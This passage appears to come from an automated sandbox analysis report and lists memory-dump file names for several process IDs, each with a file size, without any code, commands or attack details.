                                                                  • memory/3832-201-0x0000000000DB0000-0x0000000000DBC000-memory.dmp
                                                                    Filesize

                                                                    48KB

                                                                  • memory/3924-239-0x000000001B7A3000-0x000000001B7A5000-memory.dmp
                                                                    Filesize

                                                                    8KB

                                                                  • memory/3924-238-0x000000001BAB0000-0x000000001BB26000-memory.dmp
                                                                    Filesize

                                                                    472KB

                                                                  • memory/3924-237-0x000000001B7A0000-0x000000001B7A2000-memory.dmp
                                                                    Filesize

                                                                    8KB

                                                                  • memory/3924-236-0x00000000012F0000-0x0000000001312000-memory.dmp
                                                                    Filesize

                                                                    136KB

                                                                  • memory/3924-235-0x0000000000AE0000-0x0000000000AF2000-memory.dmp
                                                                    Filesize

                                                                    72KB

                                                                  • memory/3924-231-0x0000000000000000-mapping.dmp
                                                                  • memory/3924-234-0x0000000000AE0000-0x0000000000AF2000-memory.dmp
                                                                    Filesize

                                                                    72KB

                                                                  • memory/3976-126-0x0000000000000000-mapping.dmp
                                                                  • memory/4748-266-0x0000000000640000-0x0000000000649000-memory.dmp
                                                                    Filesize

                                                                    36KB

                                                                  • memory/4748-268-0x0000000000400000-0x0000000000452000-memory.dmp
                                                                    Filesize

                                                                    328KB

                                                                  • memory/4748-267-0x00000000007F0000-0x00000000007F9000-memory.dmp
                                                                    Filesize

                                                                    36KB